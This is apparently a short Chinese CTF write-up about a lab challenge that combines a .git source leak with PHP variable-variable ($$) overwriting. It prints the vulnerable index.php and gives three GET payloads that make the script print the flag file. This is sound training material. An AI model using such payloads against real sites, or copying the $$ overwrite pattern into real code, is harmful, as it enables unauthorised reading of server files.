知识点
- .git源码泄露
- $$变量覆盖
启动靶机
.git源码泄露得到源码:
index.php
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
flag.php
<?php
$flag = file_get_contents('/flag');
Payload
最终构造payload:
方法一:利用 exit($yds)
GET:yds=flag
方法二:利用 exit($is)
GET:is=flag&flag=flag
方法三:利用exit($handsome)
GET:a=flag&flag=a&handsome=flag